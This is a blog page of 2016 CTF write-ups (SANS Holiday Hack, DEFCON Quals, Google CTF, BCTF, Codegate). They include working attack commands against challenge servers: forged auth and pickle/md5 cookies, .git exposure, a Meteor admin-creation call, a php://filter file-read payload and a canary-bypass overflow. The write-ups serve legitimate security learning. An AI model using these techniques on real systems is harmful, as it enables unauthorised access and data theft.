Showing posts with label 2016. Show all posts
Showing posts with label 2016. Show all posts

Tuesday, January 10, 2017

Holiday Hack Challenge 2016 - Writeup (Part 2)





This post covers the second part of the SANS Holiday Hack Challenge 2016 CTF.  Part 1 can be found here.

The next area of the challenge asked how to exploit six servers found within the APK.  Along with these servers drops six audio files to analyze towards the end of the game.  As listed on the site, the targets were:

  • The Mobile Analytics Server (via credentialed login access)
  • The Dungeon Game
  • The Debug Server
  • The Banner Ad Server
  • The Uncaught Exception Handler Server
  • The Mobile Analytics Server (post authentication)

Each target IP could be verified in-game by Tom Hessman.  This helped both with identifying scope & identifying progress, even though each one was fairly obvious.


The Mobile Analytics Server


The first thing I tried on this server was check for a .git directory, it seemed to be very fortunate guess.  Hitting that route we get a listing of the git repo for the site, I love seeing this on challenges!


With the git directory exposed you can now clone the full project easily with a bit of wget.  For more information about how this is done, check out this article (It also goes into a more advanced topic, reconstructing a repo based on objects found!) - https://en.internetwache.org/dont-publicly-expose-git-or-how-we-downloaded-your-websites-sourcecode-an-analysis-of-alexas-1m-28-07-2015/

After we have the local copy of the project we can start looking for interesting files.  The first thing to find in the context of this challenge is audio or mp3 files.

$ grep -rnis mp3 *

getaudio.php:22:      header('Content-Length: ' . strlen($result[0]['mp3']));
getaudio.php:26:      print $result[0]['mp3'];
header.php:2:require_once('mp3.php');
header.php:33:                  <li><a href="/<?= mp3_web_path($db); ?>">MP3</a></li>
mp3.php:5:  function mp3_web_path($db) {
sprusage.sql:124:  `mp3` MEDIUMBLOB NOT NULL,

Looking at mp3.php we find a simple query statement which grabs an audio file, looks promising:

<?php
  require_once('crypto.php');
  require_once('db.php');

  function mp3_web_path($db) {
    $result = query($db, "SELECT `id` FROM `audio` WHERE `username` = '" . mysqli_real_escape_string($db, get_username()) . "'");

    if (!$result) {
      return null;
    }

    return 'getaudio.php?id=' . $result[0]['id'];
  }

Then looking at where it's been used, we find the main header file:

          <ul class="nav navbar-nav">
            <li><a href="/query.php">Query</a></li>
            <li><a href="/view.php">View</a></li>
            <?php
              if (get_username() ≡ 'guest') {
                ?>
                  <li><a href="/<?= mp3_web_path($db); ?>">MP3</a></li>
                <?php
              }
              if (get_username() ≡ 'administrator') {
                ?>
                  <li><a href="/edit.php">Edit</a></li>
                <?php
              }
            ?>
          </ul>

Looks like if we login as 'guest' we get access to that guest mp3 through the nav bar link.

Logging in as 'guest' is the next challenge. Looking at how the auth works, we can see it uses a weak authentication mechanism. All the application does to verify the user is check the 'AUTH' cookie's username field:

db.php:69:    if($username == 'administrator') { ... }
getaudio.php:9:  if ($username === 'guest') { ... }

You can see the cookie being set post-auth based on the username & date:

  } else {
    require_once('db.php');

    check_user($db, $_POST['username'], $_POST['password']);

    print "Successfully logged in!";

    $auth = encrypt(json_encode([
      'username' => $_POST['username'],
      'date' => date(DateTime::ISO8601),
    ]));

    setcookie('AUTH', bin2hex($auth));

    header('Location: index.php?msg=Successfully%20logged%20in!');
  }

Now we can easily run our own version of the cookie generation in PHP for both 'guest' and 'administrator' users:

<?php
define('KEY', "\x61\x17\xa4\x95\xbf\x3d\xd7\xcd\x2e\x0d\x8b\xcb\x9f\x79\xe1\xdc");

function encrypt($data) {
  return mcrypt_encrypt(MCRYPT_ARCFOUR, KEY, $data, 'stream');
}

$username = 'guest';
// $username = 'administrator';

$auth = encrypt(json_encode([
  'username' => $username,
  'date' => date(DateTime::ISO8601),
]));

print('AUTH:\n');
print(bin2hex($auth));

?>


After adding this cookie (using a browser extension) we're successfully authenticated as 'guest' and we can grab that mp3! It drops 'discombobulatedaudio2.mp3' and Part 1 is done!



The Dungeon Game


The next server found was dungeon.northpolewonderland.com. Visiting the page on port 80 provided some instructions for the game, scanning further with nmap revealed another interesting port: 11111. Looking up usage of that port number there were mentions of MMO games hosted regularly using that value. Hitting it with netcat produced the Dungeon game server.

$ nc -v dungeon.northpolewonderland.com 11111

Connection to dungeon.northpolewonderland.com port 11111 [tcp/vce] succeeded!
Welcome to Dungeon.   This version created 11-MAR-78.
You are in an open field west of a big white house with a boarded
front door.
There is a small wrapped mailbox here.


First thing first, as I didn't recognize it instantly, we need to find out if this game was created before -- if it's a clone or mod of a previous game we can find the source to. Looking up the copy on the intro when you start we find quickly that this is actually Zork 1, previously called Dungeon.

Initially I was looking for walk-throughs I could paste in verbatim to win the game. This didn't work in a few places. The first stopping point was finding a painting. A few other objects seemed to be moved.

The next strategy was to look up how to cheat. This yielded a couple results. First we could jump to the end of the game using the spell 'incant, DNZHUO IDEQTQ', this didn't seem to go anywhere too interesting, but could be one path. The other was to use the GDT menu (Game Debugging Tool). This provided many options, others probably had more elegant solutions than this, but you quickly start to learn that it allows you to acquire every item in the game.

There is a small wrapped mailbox here.
>inventory
You are empty handed.
>gdt
GDT>help
Valid commands are:
AA- Alter ADVS          DR- Display ROOMS
AC- Alter CEVENT        DS- Display state
AF- Alter FINDEX        DT- Display text
AH- Alter HERE          DV- Display VILLS
AN- Alter switches      DX- Display EXITS
AO- Alter OBJCTS        DZ- Display PUZZLE
AR- Alter ROOMS         D2- Display ROOM2
AV- Alter VILLS         EX- Exit
AX- Alter EXITS         HE- Type this message
AZ- Alter PUZZLE        NC- No cyclops
DA- Display ADVS        ND- No deaths
DC- Display CEVENT      NR- No robber
DF- Display FINDEX      NT- No troll
DH- Display HACKS       PD- Program detail
DL- Display lengths     RC- Restore cyclops
DM- Display RTEXT       RD- Restore deaths
DN- Display switches    RR- Restore robber
DO- Display OBJCTS      RT- Restore troll
DP- Display parser      TK- Take
GDT>tk
Entry:    1
Taken.
GDT>ex
>inventory
You are carrying:
  A brown sack.

Through some guess and check we can find that the last item available is in slot 217, it also appears to be the Elf!

  A lurking grue.
  A pair of hands.
  A breath.
  A flyer.
  A bird.
  A tree.
  A northern wall.
  A southern wall.
  A eastern wall.
  A western wall.
  A water.
  A Guardian of Zork.
  A compass rose.
  A mirror.
  A panel.
  A stone channel.
  A dungeon master.
  A ladder.
  A Elf.

Looking at info again we can see that the modified goal of this Zork game is to find the Elf, mentioning a trade for secrets.

...
   Recent adventurers report a new passage has been installed which
leads to the North Pole and the lair of a mischevious elf who will trade
for secrets he holds that may aid your quest.
...

Dropping the elf and giving it an item it does not want results in the following message:

>give vitreous slag to elf
"That wasn't quite what I had in mind", he says, tossing
the piece of vitreous slag into the fire, where it vanishes.

After hand-choosing a few items, one of them eventually was accepted. There ended up being a few valid trades of different items. Automating the acquisition of all the items was fairly easy by scripting commands for the GDT menu:

$ python -c 'for x in xrange(218): print "tk\n{}".format(x)' | pbcopy

Then trying various objects for the trade we get:

...

>drop elf
The elf appears increasingly impatient.

>give bird to elf
"That wasn't quite what I had in mind", he says, tossing
the bird into the fire, where it vanishes.

>give dungeon master to elf
"That wasn't quite what I had in mind", he says, tossing
the dungeon master into the fire, where it vanishes.

>give gold card to elf
The elf, satisified with the trade says -
send email to "peppermint@northpolewonderland.com" for that which you seek.
The elf says - you have conquered this challenge - the game will now end.
Your score is 15 [total of 585 points], in 17 moves.
This gives you the rank of Beginner.

>give a crystal sphere to elf
The elf, satisified with the trade says -
....


Sending any message to the automated email service listed in the success message provided a link to the mp3, and that was it!




The Debug Server


This was probably one of the most involved challenges for me, being new to APK work.
In the APK provided there was an EditProfile section which would allow you to change various attributes about yourself on the bug bounty platform. It also included a part which would report statistics about the session to some dev server. This was the server we're looking for.

It turned out that the dev server reporting feature was disabled in the version of the APK shipped to us, so what we had to do was re-enable it by disassembling the APK, modifying that value and assembling it again with a valid signing. APKTool, keytool & jarsigner made this a fairly quick process.

$ apktool d SantaGram_4.2.apk
$ vim res/values/strings.xml +33  # changing 'debug_data_enabled' from false to true
$ apktool build
$ mkdir keys
$ keytool -genkey -v -keystore keys/SantaGram_4.2.keystore -alias SantaGram_4.2 -keyalg RSA -keysize 1024 -sigalg SHA1withRSA -validity 10000
$ jarsigner -sigalg SHA1withRSA -digestalg SHA1 -keystore keys/SantaGram_4.2.keystore SantaGram_4.2.apk SantaGram_4.2
$ adb install SantaGram_4.2.apk


Next up we check out that dev traffic using Burp and the android emulator:

$ emulator -netdelay none -netspeed full -avd Nexus_5_API_25 -http-proxy http://127.0.0.1:8080

Looking at the traffic as we hit the EditProfile page, it shows the JSON parameters of the POST request we need.
Watering down the request to remove any unimportant details, we get:
$ curl 'http://dev.northpolewonderland.com/index.php' --data $'{\"date\":\"0\",\"udid\":\"0\",\"debug\":\"com.northpolewonderland.santagram.EditProfile, EditProfile\",\"freemem\":"1"}' -H 'Content-Type: application/json'

{"date":"20170101154937","status":"OK","filename":"debug-20170101154937-0.txt","request":{"date":"0","udid":"0","debug":"com.northpolewonderland.santagram.EditProfile, EditProfile","freemem":"1","verbose":false}}

It looks like there was an extra key added to our JSON object, there's a verbose flag? Let's see what that does.

curl 'http://dev.northpolewonderland.com/index.php' --data $'{\"date\":\"0\",\"udid\":\"0\",\"debug\":\"com.northpolewonderland.santagram.EditProfile, EditProfile\",\"freemem\":"1", "verbose": true}' -H 'Content-Type: application/json'

...
"files":["debug-20170101154937-0.mp3", ...Every debug dump report generated... ],
...


So this is nice, we can read all the debug reports generated by all users. Now we should try to find that audio file if it exists:

curl 'http://dev.northpolewonderland.com/index.php' --data $'{\"date\":\"0\",\"udid\":\"0\",\"debug\":\"com.northpolewonderland.santagram.EditProfile, EditProfile\",\"freemem\":"1", "verbose": true}' -H 'Content-Type: application/json' 2>/dev/null | tr ',' '\n' | grep mp3
"files":["debug-20161224235959-0.mp3"

Sure enough, there was a hidden mp3 file in the massive dump of debug. Visiting http://dev.northpolewonderland.com/debug-20161224235959-0.mp3 dropped the file.




The Banner Ad Server


In the game there were characters that would drop hints on the challenges.  This was one of them that was invaluable moving forward.  The Banner Ad server was almost instantly recognized as a Meteor web app while combing through the source.  One of the hints linked to a SANS blog post on meteor pwning - https://pen-testing.sans.org/blog/2016/12/06/mining-meteor

This didn't seem like much of a vulnerability, just an incredibly bad design choice to allow authentication and sensitive data to be controlled on the front-end.

The TamperMonkey script mentioned in the 'Mining Meteor' article helped a lot!  This allowed us to see exactly what was going on in the web app with all the models and views, etc.

Initial attempt was to try to get access as a different user.  The registration portal was locked down, only allowing privileged users to register, and there weren't any obvious credentials being used.  Another obvious route to take was to just create a user using Meteor on the front-end, seemed too good to be true though. Popping open the Dev Console we try it out:

> Accounts.createUser({ username: 'billy1', email: 'no-one-cares', password: 'b1lly-h4s-f4nt4stic-p4ssw0rdz', isAdmin: true });

Instantly we notice a change in the UI, now we can go to Admin Quotes as well, looks like it worked!



It looks like we have access to five records on this page.  Four of them are standard quotes, and the other has an audio field.  It's starting to look very close!

Grabbing the quotes in the inspector we can see what each value holds:

JSON.stringify(HomeQuotes.find().fetch()[4]);

> "{"_id":"zPR5TpxB5mcAH3pYk","index":4,"quote":"Just Ad It!","hidden":true,"audio":"/ofdAR4UYRaeNxMg/discombobulatedaudio5.mp3"}"

Visiting http://ads.northpolewonderland.com/ofdAR4UYRaeNxMg/discombobulatedaudio5.mp3 will drop the flag!


The Uncaught Exception Server


On this server we could both write and read files, but only in raw text.  This was a PHP server, so a web shell seemed to be the right path, but there wasn't an interpretation of the PHP files.  It turned out PHP filters with base64 seemed to work to leak files.

Leaking the exception file seemed logical, and apparently that was all that was required:

curl http://ex.northpolewonderland.com/exception.php --data '{"operation": "ReadCrashDump", "data": { "crashdump": "php://filter/convert.base64-encode/resource=../exception" }}' -H 'Content-Type:application/json' | base64 -D

Looking at the head of this we get the location of the next audio file!

&gt;?php

# Audio file from Discombobulator in webroot: discombobulated-audio-6-XyzE3N9YqKNH.mp3
# Code from http://thisinterestsme.com/receiving-json-post-data-via-php/


After this I ran out of time so I didn't get the second part to the analytics server, but I knew it had something to do with SQL having a few leads from edit page errors & other query errors.



Really enjoyed playing Holiday Hack Challenge this year! It was a lot of fun, the music was great and the challenges provided a few great learning opportunities! Thanks goes out to all the developers who put this on, you did an amazing job!  Can't wait for next year!



Sunday, May 22, 2016

DEFCON CTF Quals 2016 - Easy Prasky


Our team started by spreading out and tackling separate problems, eventually consolidating into subgroups.

One of the first challenges I started looking at was "easy-prasky". This was in the "Baby's First" section, the bite-size preview challenges that show what's coming ahead.

No description on this one, just a binary and a server to connect to. Pulling down the file we get a tar file that extracts to a binary:

$ tar -xzf easy-prasky.tar.bz2
$ ls -la
  -rw-r--r--   1 user  staff   1.7K May 19 09:47 easy-prasky.tar.bz2
  drwxr-xr-x   3 user  staff   102B May 22 21:07 easy-prasky-with-buffalo-on-bing

$ cd easy-prasky-with-buffalo-on-bing
$ ls -la
  -rwxr-xr-x  1 user  staff   2.3K May 18 18:36 easy-prasky-with-buffalo-on-bing

$ file easy-prasky-with-buffalo-on-bing
  easy-prasky-with-buffalo-on-bing: data


Interesting, just data. Running strings on this we get some more interesting information:

Merino
fffff.
ffff.
fff.
^_[]
SQRV
^ZY[
SQRV
^ZY[
SQRVW
_^ZY[
lddwDrwhkTEBSya_
hacking detected, see ya
canary ok
clang-cgc version 3.4 (9085)
.shstrtab
.text
.rodata
.comment

This looks like some custom format, and clang-cgc seems pretty obvious. It's also worth noting there wasn't much data out of this, it's a somewhat small amount for a binary.

Loading this binary in radare2 we can see it's information:

[0x080486b7]> if
type     EXEC (Executable file)
file     easy-prasky-with-buffalo-on-bing
fd       3
size     0x948
blksz    0x0
mode     -r--
block    0x100
format   cgc
pic      false
canary   false
nx       false
crypto   false
va       true
bintype  elf
class    ELF32
lang     c
arch     x86
bits     32
machine  Intel 80386
os       linux
minopsz  1
maxopsz  16
pcalign  0
subsys   linux
endian   little
stripped true
static   true
linenum  false
lsyms    false
relocs   false
rpath    NONE
binsz    2173


Noticing the format as cgc (also seen from the strings output) it's safe to assume this is probably a CGC binary. This is acting as a preview for the other challenges in the "See Gee Sea" category to be unlocked later in the game.

format   cgc


This was unfortunately, the first time I had looked at any of the CGC challenge details in any depth. (If you're new to the idea of Cyber Grand Challenge at all, check out - http://www.cybergrandchallenge.com/)

Remembering that the challenges run in a VM, I quickly searched for any available open-source material that may be out there. Quickly landed on this page - http://repo.cybergrandchallenge.com/boxes/

Which shows a listing of 3 major files:

  cgc-linux-dev.box 1097696df99f2f6edd85974c3d8d96afb13444c1c3905d6165badf0e50d07ad1
  vm.json d79a4d8e28975b24a518c2acb12195e048c0806ed7a08112f3d48eac0dac80e3
  Vagrantfile ff0f8b4a3996a137d2a6eb7088a632928068425b9c4502f6c754c3f079672d00



This is Great! A Vagrant file to get up and running in no time!

After running vagrant up && vagrant ssh, we were into the cgc environment, loaded with useful binaries and example files to play with.
As the challenge went on, I grew an appreciation for the amount of work that went into this infrastructure. It's a great idea with some solid engineering work poured into it.

Now that we have things setup, let's try executing that binary in this environment to see what happens...
$ ./easy-prasky-with-buffalo-on-bing
anything
canary ok$ 


So we have a little print out that mentions the canary is ok... So it has a stack cookie setup.
What happens if we give it a ton of input:

$ ./easy-prasky-with-buffalo-on-bing
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault


Well that was easy!

Also let's look at what happens when there's a moderate amount of input:

$ ./easy-prasky-with-buffalo-on-bing
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
hacking detected, see ya$


Nice, so we now have Three states of output we can produce.


At this point we decided to pull apart the binary in radare2 finding the canary value which needs to be restored.


 


First noticed that the entry point of each CGC binary has the same structure. Three functions, where the second was the meat of operations performed.

As usual in r2, run aaa and iz to view any obvious strings in the binary:




Seeking to 0x0804880a we hit X in visual mode to see X-Refs & 0 to seek to the first match.


This lead us to the "main" function which called another function for the canary check and exits with "hacking detected" or "canary ok"




We can see ecx being loaded with this odd string found, and edx being loaded with the immediate 4. Also notice that the result of this function determines the type of exit.




Going to 0x080482e0 we see:


In the next graph we see a loop which checks if local_5 is greater than 4 (jge instruction at the top). Then we see on the false path of the jge check, a single byte being checked from the stack against the original canary value.




With this we decided to just try the first four characters of that string acting as the canary.
We ended up with a payload that looked like this:

$ python -c "print 'lddw'*6 + 'AAAA'*6" | ./easy-prasky-with-buffalo-on-bing
canary okSegmentation fault


So this gave us a nice mix of "canary ok" with "Segmentation fault" -- it worked!

Piping this to base64 (required by the remote server) and to netcat ended up dropping the flag!

$ python -c "print 'lddw'*6 + 'AAAA'*6" | base64 | nc easy-prasky_335e35448b30ce7697fbb036cce45e34.quals.shallweplayaga.me 10001


We definitely over-thought this one at first, but it turned out to be very simple.
Big shout-out to @unixist who was my partner-in-crime for this challenge.


Tuesday, May 3, 2016

Google CTF 2016 - Various [No Big Deal Pt. 1, In Recorded Conversation, Spotted Quoll, Ernst Echidna]



So I grouped these all together for two main reasons:
  1. I was inspired seeing this short writeup for GeoKitties - https://twitter.com/k_firsov/status/726841516174508033
  2. Write-ups can take some time, so this is a good way of shortening a few challenges into one post.

Quick note about the writeups below:
  • Each of the examples below are one-liner solutions (they may not be the best one-liners because they can be longcat-long, but were fun to make)
  • Each example below has a one-line output including the CTF{...} flag


No Big Deal Pt. 1 (50):

This one was probably one of the easiest challenges (even easier than the 5pt recon) that I came across, strings'ing the pcap gave an obvious base64 encoded value at the end of the dump, which turned into the flag, here's the one-liner:

strings -n 9 no-big-deal.pcap | tail -n 1 | base64 -D

Result:

CTF{betterfs.than.yours}



In Recorded Conversation (25):

The name of this challenge invoked the idea that there was going to be a hidden conversation to find a flag in.  That was exactly it in a pcap!  For this one I didn't open wireshark and decided to jump into more tshark.  This is not my actual solution for the challenge when I was playing (it was a lot more manual), but the same thing would've worked... Usually there's no time to do silly things like tr, sed & multi-massaged-list-comprehensions to get an answer when you're on the CTF clock.

tshark -r irc.pcap -T fields -e data 2>/dev/null | python -c "import sys; a=sys.stdin.read().split('\n'); a=[x.decode('hex') for x in a]; a=[x for x in a if 'PRIVMSG' in x and '~' not in x]; print a" | tr ',' '\n' | grep #ctf | tail -n 8 | head -n 7 | sed 's/.*://g;s/\\.*//g' | tr '\n' ' ' | sed 's/ //g'

Result:

CTF{some_leaks_are_good_leaks_}



Spotted Quoll (50):

This challenge was mainly solved by a team-mate (Unixist), but I helped out a bit with some minor details.  Also formed it into this massive one-liner:

curl -L https://spotted-quoll.ctfcompetition.com/admin --cookie obsoletePickle=$(python -c 'import pickle; x = pickle.loads("KGRwMQpTJ3B5dGhvbicKcDIKUydwaWNrbGVzJwpwMwpzUydzdWJ0bGUnCnA0ClMnaGludCcKcDUKc1MndXNlcicKcDYKTnMu".decode("base64")); x["user"] = "admin"; print pickle.dumps(x).encode("base64").replace("\n", "")') 2>/dev/null | grep -i ctf

The challenge consisted of identifying that the cookie was in a python pickle format, dumping the current cookie (base64 encoded) and then noticing the user was set to None, changing it to admin and re-encoding it / sending it off.


Result:

Your flag is CTF{but_wait,theres_more.if_you_call} ... but is there more(1)? or less(1)?



Ernst Echidna (50):

This challenge was also a very simple web challenge, consisting of a cookie that was set to the md5 value of your username.  The goal was to view the admin section, so a little echo -n admin | md5sum, and we've got our cookie.


curl https://ernst-echidna.ctfcompetition.com/admin --cookie md5-hash=$(echo -n admin | md5) 2>/dev/null | grep -i ctf

Result:

      Congratulations, your token is 'CTF{renaming-a-bunch-of-levels-sure-is-annoying}



These were all simple, but very fun! Had a good time forming the (mostly) one-liners above today.  Let me know if you have any more efficient examples of these in the comments!



Sunday, May 1, 2016

Google CTF 2016 - A Cute Stegosaurus (100)



Description for this challenge was:

Admire our cutest Stegosaurus ever!


They give you a pcap file called stego.pcap, sooooo let's fire up Wireshark and see if a shark can find a dinosaur.


Initially saw a /message.png route being hit, so I decided to see if I could extract that out of the pcap.


In Wireshark, this is really simple, just follow the TCP stream / File > Export Objects > HTTP, and you'll see it pop up with the file seen in the traffic.




Save and open the file and we get:



YESSSSSSs! A Fr'cken Stegosaurus!!!!

Something about this pun in this makes me tear up a bit....
(Also Pro-Tip for trolling stego solvers in the future, add some random artifacts into the image like they mean something, after staring at that dino leg on the right with the seam, I almost thought it could be hidden there... Not sure if it was the caffeine or sleep-deprivation, either way it'll work on someone)


Anyways, down to business.

Running this image through the standard stego tools & photo editing tools got nothing.  Tried a quick sweep through the threshold, bitplanes, alpha, stereograph, etc.  Nothing too interesting was in the exif data either.


So after taking a break on this one and coming back I looked in the packets again to see if anything else was there for carving.

Started to look for any patterns in any part of the packets (being only 2k of them & fairly regular).
Then I stumbled upon this little gem:



What... is this Urgent pointer thing all about ?  Why so Urgent ?

This must be the Nova Microdash of TCP packets.....


So let's see if we can find out what's so urgent.


After going through a few, it looks like they may actually be in the printable character range.  This one was 70, let's convert that, write it down and go to the next one.  The next was 123, these two combined make the characters 'F{' ... going backwards we'll also see 67 & 84 as 'CT'... All of this together is 'CTF{' -- Looks like we're on the right track.


Now I could've probably done this by hand, but I didn't want to, felt a little lazy and also thought it was a good time to explore tshark more.  So in a new terminal I went ahead and executed this command (kinda luckily guessed this one, I'm not very experienced with tshark):

> tshark -r stego.pcap -T fields -e tcp.urgent_pointer

0
0
0
0
0
0
67
0
84
0
70
0
123
0
65
0
110
0
100
0
...


(Cut the output down for brevity) -- The problem with this output is there are all these 0 bytes that are sneaking in to our nice characters we want to extract. We could just grep these out to make life easier:

> tshark -r stego.pcap -T fields -e tcp.urgent_pointer | egrep -vi "^0$"

67
84
70
123
65
110
100
...


There's probably a really cool hacky way to turn these all to chars on the command-line (leave a comment if you know one), but I just threw it in a python script, did some normal vim/sed magic for converting it to a list, and printed out the result:

arr = [
        67,
        84,
        70,
        123,
        65,
        110,
        100,
        95,
        89,
        111,
        117,
        95,
        84,
        104,
        111,
        117,
        103,
        104,
        116,
        95,
        73,
        116,
        95,
        87,
        97,
        115,
        95,
        73,
        110,
        95,
        84,
        104,
        101,
        95,
        80,
        105,
        99,
        116,
        117,
        114,
        101,
        125,
]

print "".join([chr(x) for x in arr])


After running this we get the answer:

CTF{And_You_Thought_It_Was_In_The_Picture}

Learned a lot in this challenge including urgent flags, how evil a stego creator can get (including imagined scenarios that could've been worse), and how to spell Stegosaurus.


Monday, March 21, 2016

BCTF 2016 - catvideo (150)


This was one of the only challenges I attempted on BCTF, but the focus paid off.  It was an interesting challenge that taught me about the nuances of the ffmpeg tool.


At first we were given a video which had frames looking like this (two consecutive frames extracted from the video):





When watching the video you would see a sort of ghosting effect where your eye would pick up the diffing pixels providing a sense of motion.  Otherwise any individual frame does not explain much about the final image by itself.


Initially I started to look into different ways of blending video frames using ffmpeg.  I spent a lot of time on this page - https://ffmpeg.org/ffmpeg-filters.html

Specifically looking at the "tblend" filters (blends two consecutive frames using a specific filter-type) - https://ffmpeg.org/ffmpeg-filters.html#blend_002c-tblend
Playing around with different ones provided many results that didn't help, and a couple that did.

The primary solution to the "first half" of this challenge was to use an exclusion filter (At first I was thinking diff, but exclusion worked fine).




This showed a rough outline of the cat in the video, enough to be confident to find some other objects within.

After viewing an export of all frames as another mp4, I noticed exactly 1 minute in there was a small flash on the bottom of the screen.  This was rectangular in shape, and based on other Stego challenges in the past, this was probably where the flag was.  So after a bit of start & stop, with ffmpeg and exporting blended frames, I found what looked like the flag!




So far what I could make out in the exclusion-filtered image was:

BCTF{cute&fat_cats_does_not_like_   nking}


So close! But not there yet...  What were those 3 characters missing from the image?
I fired up Gimp and tried to blend the flag's frames with the surrounding ones to see if that would help fill in the gaps.

Going through Gimp's layer filters actually turned out to be a lot nicer than ffmpeg's tblend method.
Finally landed on using Hard Mix with an Overlay which gave this result:




This provided enough to make out the real flag:


BCTF{cute&fat_cats_does_not_like_drinking}



Wednesday, March 16, 2016

Codegate CTF 2016 - JS_is_not_a_jail (100)



Loved playing Codegate this year, this was a fun challenge, although it went a little quick.


The server was provided in the description:

nc 175.119.158.131 1129


After connecting you get a d8 shell.  Looking this up I quickly learned it was a V8 engine javascript shell.  Found this and a few helpful commands from this post - http://www.sandeepdatta.com/2011/10/using-v8-javascript-shell-d8.html

After playing around a bit, looking for methods similar to node, I just tried one of the methods listed in the blog post above:


d8> quit(1)


This lead to the unintentional way of solving the challenge, but it was quick and I took it.  (Also probably due to my poor ability to read directions right in-front of me)

Here was the result of running the quit command on the server:


  quit(1)
  Traceback (most recent call last):
    File "/home/codegate/wrapper.py", line 14, in 
      p.expect("d8>")
    File "/usr/local/lib/python2.7/dist-packages/pexpect/spawnbase.py", line 315, in expect
      timeout, searchwindowsize, async)
    File "/usr/local/lib/python2.7/dist-packages/pexpect/spawnbase.py", line 339, in expect_list
      return exp.expect_loop(timeout)
    File "/usr/local/lib/python2.7/dist-packages/pexpect/expect.py", line 102, in expect_loop
      return self.eof(e)
    File "/usr/local/lib/python2.7/dist-packages/pexpect/expect.py", line 49, in eof
      raise EOF(msg)
  pexpect.exceptions.EOF: End Of File (EOF). Exception style platform.
  
  command: /usr/bin/v8/d8
  args: ['/usr/bin/v8/d8', '--shell', '/home/codegate/cg.js']
  searcher: None
  buffer (last 100 chars): ''
  before (last 100 chars): ' quit(1)\r\n'
  after: 
  match: None
  match_index: None
  exitstatus: 1
  flag_eof: True
  pid: 13615
  child_fd: 5
  closed: False
  timeout: 30
  delimiter: 
  logfile: None
  logfile_read: ', mode 'w' at 0x7fbc2021d150>
  logfile_send: None
  maxread: 2000
  ignorecase: False
  searchwindowsize: None
  delaybeforesend: 0.05
  delayafterclose: 0.1
  delayafterterminate: 0.1

Ahhh! What a useful traceback, Thank You D8! This makes the challenge a lot easier :D

We can see the executed script for the challenge is:

  args: ['/usr/bin/v8/d8', '--shell', '/home/codegate/cg.js']

or

/usr/bin/v8/d8 --shell /home/codegate/cg.js


So let's check out that file if we can by reading it in d8!

d8> read("/home/codegate/cg.js")

  read("/home/codegate/cg.js")
  "function js_challenge(flag) {
    return function(arr) {
      var random_value = "ac1a39300ce7ee8b6cff8021fd7b0b5caf5bc1c316697bd8f22e00f9fab710d6b8dba23ca80f6d80ca697e7aa26fd5f6";
      var check = "20150303";

      if((arr === null || arr === undefined)) {
        print("arr is null or undefined.");
        return;
      }

      if(!arr.hasOwnProperty('length')) {
        print("length property is null or undefined.");
        return;
      }

      if(arr.length >= 0) {
        print("i think you're not geek. From now on, a GEEK Only!");
        return;
      }

      if(Object.getPrototypeOf(arr) !== Array.prototype) {
        print("Oh.... can you give me an array?");
        return;
      }

      var length = check.length;
      for(var i=0;i<length;i++) {
        arr[i] = random_value[Math.floor(Math.random() * random_value.length)];
      }

      for(i=0;i<length;i++) {
        if(arr[i] !== check[i]) {
          print("Umm... i think 2015/03/03 is so special day.\nso you must set random value to 20150303 :)");
          return;
        }
      }
      print("Yay!!");
      print(flag);
    }
  }

  var challenge100 = js_challenge('flag is \"easy xD, get a more hardest challenge!\"');

  print("[JavaScript Jail]")
  print("let start to type on 'challenge100'")

  "


Flag!

easy xD, get a more hardest challenge!


The flag doesn't lie, as we can see in the source of the challenge, it wouldn't have been that bad the other way either. But still a lot easier just reading the source!

And even though it was the simple route, still had a lot of fun playing around in d8, learning new things and finding a flag.